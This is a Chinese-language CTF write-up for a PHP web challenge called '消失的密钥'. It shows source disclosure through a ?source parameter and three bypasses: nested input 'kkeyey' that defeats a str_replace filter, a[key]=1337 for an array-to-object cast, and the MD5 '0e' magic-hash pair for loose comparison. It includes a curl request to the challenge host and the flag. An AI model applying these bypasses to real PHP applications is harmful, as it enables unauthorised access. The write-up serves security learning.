未命名文章

WEB 消失的密钥 前期探测 访问首页 访问首页后,可以看到一个认证界面,页面要求输入一个名为step1的授权值。表面上看,页面只暴露了一个输入框,没有给出其它功能入口。 黑盒探测源码入口 在不知道源码的前提下,可以尝试 PHP CTF 题里常见的调试参数,例如:

WEB

消失的密钥

前期探测

访问首页

访问首页后,可以看到一个认证界面,页面要求输入一个名为step1的授权值。表面上看,页面只暴露了一个输入框,没有给出其它功能入口。

黑盒探测源码入口

在不知道源码的前提下,可以尝试 PHP CTF 题里常见的调试参数,例如:

  • ?source

  • ?debug

  • ?view

  • ?highlight

该题中,访问:http://39.105.213.28:12601/?source会直接返回高亮后的 PHP 源码。

源码审计

过滤

$step1 = $_GET['step1'];
$filtered = str_replace("key", "", $step1);
  1. 先把输入中的所有小写key删除;

  2. 删除之后的结果必须严格等于字符串key

POST 数据结构

$a = $_POST['a'] ?? null;
$obj_a = (object)$a;
$user_key = $obj_a->key;
if (isset($user_key) && $user_key === "1337") {
  1. $_POST['a']必须存在;

  2. 转成对象后,能访问到$obj_a->key

  3. 该属性值必须严格等于字符串"1337"

哈希比较

$val_a = $_GET['a'] ?? "";
$val_b = $_GET['b'] ?? "";
if ($val_a !== "" && $val_b !== "" && $val_a !== $val_b) {
if (md5($val_a) == md5($val_b)) {
  1. ab都不能为空;

  2. ab不能是相同字符串;

  3. md5($a)md5($b)在 PHP 的 == 判断下要“相等”。

第一关详细利用

通过“重复片段嵌套”构造输入:kkeyey,服务端执行:str_replace("key", "", "kkeyey") => "key",于是条件:$filtered === "key"成立,第一关通过。

第二关详细利用

在 PHP 表单处理中,像下面这样的 POST 数据:

a[key]=1337

会被自动解析为:

$_POST['a'] = [
    'key' => '1337'
];

接着执行:

obja=(object)obj_a = (object)_POST['a'];

就会得到一个等价对象:

$obj_a->key === "1337"

于是第二关通过。

6.3 4.3 为什么不需要 JSON

很多人在看到“对象”时会直觉想到传 JSON,但这题根本不需要。原因是:

·       PHP 表单参数本身就支持数组语法;

·       (object)$array 会把数组键转换成对象属性;

·       所以直接提交 a[key]=1337 就够了。

这是 PHP Web 题里很常见的一种利用方式。

7   五、第三关详细利用

7.1 5.1 条件分析

第三关判断的是:

val_a !== "" && val_b !== "" &&vala!==val_a !== val_b

以及:

md5($val_a) == md5($val_b)

也就是说:

·       a 和 b 必须是两个不同的非空字符串;

·       但它们的 MD5 值在弱比较下要相等。

7.2 5.2 经典 0e 弱比较绕过

可以使用这组经典输入:

a=QNKCDZO
b=240610708

它们是两个不同字符串,满足:

vala!==val_a !== val_b

但对应的 MD5 分别为:

md5("QNKCDZO")   = 0e830400451993494058024219903391
md5("240610708") = 0e462097431906509019562988736854

注意这两个结果都长得像科学计数法形式的数字:

·       0e830400451993494058024219903391

·       0e462097431906509019562988736854

在 PHP 的弱比较 == 中,这类字符串会被解释成数值:

0 × 10^若干次方

结果都等于数字 0。因此:

md5("QNKCDZO") == md5("240610708")

会被判断为真。

7.3 5.3 为什么 === 就不行

如果题目写成:

md5($val_a) === md5($val_b)

那么 PHP 会按字符串逐字节比较,两串 MD5 不完全相同,就一定失败。
这正是强比较和弱比较在安全性上的关键差异。

8   六、完整利用链

8.1 6.1 最终请求参数

8.1.1    GET 参数

?step1=kkeyey&a=QNKCDZO&b=240610708

8.1.2    POST 数据

a[key]=1337

8.2 6.2 利用效果

这组数据会依次满足:

1.      step1=kkeyey 经过 str_replace("key", "", ...) 后得到 key;

2.      a[key]=1337 被 PHP 解析后,可让 $obj_a->key === "1337";

3.      QNKCDZO 与 240610708 的 MD5 在 PHP == 下相等;

4.      服务端进入最终分支并输出 flag。

9   七、复现过程

9.1 7.1 使用 curl 复现

curl 'http://39.105.213.28:12601/?step1=kkeyey&a=QNKCDZO&b=240610708' \
  -d 'a[key]=1337'

9.2 7.2 返回结果

服务端最终返回:

CREDENTIAL_FOUND: ISCC{hash_collision_v1_0e_2x_stable}

CTF周周练(2026年4月13日-) 2026-04-16